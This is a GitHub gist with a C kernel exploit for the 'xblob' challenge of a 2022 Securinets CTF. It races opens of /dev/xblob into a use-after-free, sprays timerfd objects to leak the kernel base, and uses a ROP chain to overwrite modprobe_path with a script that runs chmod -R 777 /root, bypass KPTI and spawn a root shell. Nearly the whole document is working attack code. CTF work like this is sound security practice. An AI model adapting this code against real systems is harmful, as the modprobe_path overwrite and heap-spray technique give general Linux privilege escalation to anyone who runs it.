Skip to content

Instantly share code, notes, and snippets.

@ptr-yudai
Created April 11, 2022 02:56
Show Gist options
  • Save ptr-yudai/03c348af155040888e3b5df4c405cf18 to your computer and use it in GitHub Desktop.
Save ptr-yudai/03c348af155040888e3b5df4c405cf18 to your computer and use it in GitHub Desktop.
xblob - Securinets CTF Quals 2022
#define _GNU_SOURCE
#include <fcntl.h>
#include <pthread.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/timerfd.h>
#include <sys/types.h>
#include <unistd.h>
typedef unsigned char u8;
typedef unsigned int u32;
typedef unsigned long u64;
/**
* Utilities
*/
void fatal(const char *msg) {
perror(msg);
exit(1);
}
pid_t gettid(void) {
return syscall(SYS_gettid);
}
/**
* Exploit things
*/
#define ofs_timerfd_tmrproc 0x190990
#define addr_modprobe_path (kbase + 0xe37e20)
#define rop_push_rdi_add_prbxP41h_bl_pop_rsp_r13_rbp (kbase + 0x0b3291)
#define rop_add_rsp_28h (kbase + 0x287e29)
#define rop_bypass_kpti (kbase + 0x800e26)
#define rop_pop_rdx_rdi (kbase + 0x2755bb)
#define rop_mov_prdi_rdx (kbase + 0x044f66)
#define rop_pop_rdx (kbase + 0x275556)
#define rop_mov_prdiP10h_rdx (kbase + 0x261fb6)
#define rop_mov_prdiP28h_rdx (kbase + 0x0f2f7e)
#define rop_mov_prdiP38h_rdx (kbase + 0x027201)
#define rop_pop_rsi_r15_rbp (kbase + 0x000da0)
#define rop_xor_edx_edx (kbase + 0x0ad6d1)
#define rop_add_edx_1_mov_prdi_rdx (kbase + 0x044f63)
unsigned long kbase, g_buf;
unsigned long user_cs, user_ss, user_rsp, user_rflags;
static void get_shell() {
write(1, "[+] win!\n", 9);
system("/tmp/y");
system("/bin/sh");
}
static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %2\n"
"pushfq\n"
"popq %3\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags)
:
: "memory");
}
int win;
int fd1 = -1, fd2 = -1;
int spray_cpu = 0;
void* race_open(void* cpuid) {
cpu_set_t cpu_set;
/* Set CPU to use in this thread */
CPU_ZERO(&cpu_set);
CPU_SET((u64)cpuid, &cpu_set);
if (sched_setaffinity(gettid(), sizeof(cpu_set_t), &cpu_set))
fatal("sched_setaffinity");
/* Race */
while (1) {
while (!win) {
int fd = open("/dev/xblob", O_RDWR);
if (fd == -1) continue;
if (fd == fd2) {
/* This means we're opening 2 files: race success */
win = 1;
break;
}
if (!win) {
/* If the other thread didn't get fd2, try again */
close(fd);
}
}
/* Make sure the other thread didn't close fd by "race" */
if (write(fd1, "A", 1) == 1 && write(fd2, "A", 1) == 1) {
break;
} else {
/* Oops */
close(fd1);
close(fd2);
win = 0;
}
}
}
int create_timer(void) {
struct itimerspec its;
its.it_interval.tv_sec = 0;
its.it_interval.tv_nsec = 0;
its.it_value.tv_sec = 1919;
its.it_value.tv_nsec = 0;
int tfd = timerfd_create(CLOCK_REALTIME, 0);
if (tfd == -1) fatal("timerfd_create");
timerfd_settime(tfd, 0, &its, 0);
return tfd;
}
#define SPRAY_SIZE 0x200
int spray_on_cpu(int cpuid) {
cpu_set_t cpu_set;
char zero[0x100] = {}, buf[0x100] = {};
/* Set CPU to use in this thread */
CPU_ZERO(&cpu_set);
CPU_SET(cpuid, &cpu_set);
if (sched_setaffinity(gettid(), sizeof(cpu_set_t), &cpu_set))
fatal("sched_setaffinity");
write(fd2, zero, sizeof(zero));
/* Spray timerfd_ctx */
int spray[SPRAY_SIZE];
for (int i = 0; i < SPRAY_SIZE; i++) {
spray[i] = create_timer();
if (spray[i] == -1) {
for (int j = 0; j < i; j++) close(spray[j]);
return -1;
}
/* Check if overlapped */
read(fd2, buf, sizeof(buf));
if (memcmp(buf, zero, sizeof(zero)) != 0) {
/* Found overlap */
for (int j = 0; j < i; j++) close(spray[j]);
return i;
}
}
for (int j = 0; j < SPRAY_SIZE; j++) close(spray[j]);
return -1;
}
int overlap_by_uaf(void) {
pthread_t th1, th2;
/* Check next file descriptos available */
fd1 = open("/tmp", O_RDONLY);
fd2 = open("/tmp", O_RDONLY);
if (fd1 == -1 || fd2 == -1) fatal("/tmp");
close(fd1);
close(fd2);
/* Race */
win = 0;
puts("[+] Attempting race condition...");
pthread_create(&th1, NULL, race_open, (void*)0); // CPU0
pthread_create(&th2, NULL, race_open, (void*)1); // CPU1
pthread_join(th1, NULL);
pthread_join(th2, NULL);
/* Just again make sure race is successful */
char buf[0x10];
if (write(fd1, "Hello!", 7) != 7
|| read(fd2, buf, 7) != 7
|| strcmp(buf, "Hello!") != 0) {
puts("[-] Bad luck...");
exit(1);
}
printf("[+] Race done! (%d, %d)\n", fd1, fd2);
/* Use-after-Free */
close(fd1);
/* Multi-CPU heap spray */
int victim;
do {
puts("[+] Spraying...");
victim = spray_on_cpu(0);
if (victim == -1) {
victim = spray_on_cpu(1);
spray_cpu = 1;
}
} while(victim == -1);
printf("[+] Spray done! (victim=%d, cpu=%d)\n", victim, spray_cpu);
return victim;
}
int main() {
char buf[0x100];
save_state();
system("echo -e '#!/bin/sh\nchmod -R 777 /root' > /tmp/x");
system("chmod +x /tmp/x");
system("echo -e '\xde\xad\xbe\xef' > /tmp/y");
system("chmod +x /tmp/y");
/* Address leak */
int tfd = overlap_by_uaf();
read(fd2, buf, sizeof(buf));
kbase = *(u64*)&buf[0x28] - ofs_timerfd_tmrproc;
g_buf = *(u64*)&buf[0x90] - 0x90;
printf("kbase = 0x%016lx\n", kbase);
printf("g_buf = 0x%016lx\n", g_buf);
if (kbase & 0xfff) {
puts("[-] Invalid leak");
exit(1);
}
// wait until closed timerfd is freed
sleep(1);
/* Allocate stack */
if (mmap(0xdead0000, 0x10000, PROT_READ | PROT_WRITE,
MAP_ANONYMOUS | MAP_SHARED | MAP_POPULATE, -1, 0) == (void*)-1)
fatal("mmap");
/* RIP control */
*(u64*)&buf[0x00] = 1; // __rb_parent_color
*(u64*)&buf[0x08] = 0; // rb_right
*(u64*)&buf[0x10] = rop_add_rsp_28h; // rb_left
*(u64*)&buf[0x18] = 0x0000000192e6d97c; // expires
*(u64*)&buf[0x20] = 0x0000000192e6d97c; // _softexpires
*(u64*)&buf[0x28] = rop_push_rdi_add_prbxP41h_bl_pop_rsp_r13_rbp;
*(u64*)&buf[0x38] = 0; // state = 0 to not reference rb_left
u64 *chain = (u64*)&buf[0x40];
/* 0x40 */ *chain++ = rop_pop_rdx_rdi;
/* 0x48 */ *chain++ = 0x0000782f706d742f; // "/tmp/x"
/* 0x50 */ *chain++ = addr_modprobe_path;
/* 0x58 */ *chain++ = rop_mov_prdi_rdx;
/* 0x60 */ *chain++ = rop_pop_rdx_rdi;
/* 0x68 */ *chain++ = kbase + ofs_timerfd_tmrproc;
/* 0x70 */ *chain++ = g_buf;
/* 0x78 */ *chain++ = rop_mov_prdiP28h_rdx; // tmr.function = timerfd_tmrproc
/* 0x80 */ *chain++ = rop_pop_rsi_r15_rbp;
/* 0x88 */ chain++; // you may not
/* 0x90 */ chain++; // corrupt these
/* 0x98 */ chain++; // members
/* 0xa0 */ *chain++ = rop_xor_edx_edx;
/* 0xa8 */ *chain++ = rop_mov_prdiP10h_rdx; // rb_left = NULL
/* 0xb0 */ *chain++ = rop_add_edx_1_mov_prdi_rdx;
/* 0xb8 */ *chain++ = rop_mov_prdiP38h_rdx; // state = 1
/* 0xc0 */ *chain++ = rop_bypass_kpti;
/* 0xc8 */ *chain++ = 0xdeadbeef;
/* 0xd0 */ *chain++ = 0xdeadbeef;
/* 0xd8 */ *chain++ = (unsigned long)&get_shell;
/* 0xe0 */ *chain++ = user_cs;
/* 0xe8 */ *chain++ = user_rflags;
/* 0xf0 */ *chain++ = 0xdead8000;
/* 0xf8 */ *chain++ = user_ss;
if ((void*)chain > (void*)(buf + 0x100)) {
puts("[-] Chain too long!");
exit(1);
}
write(fd2, buf, sizeof(buf));
puts("ROP in 3 seconds");
while(1);
return 1;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment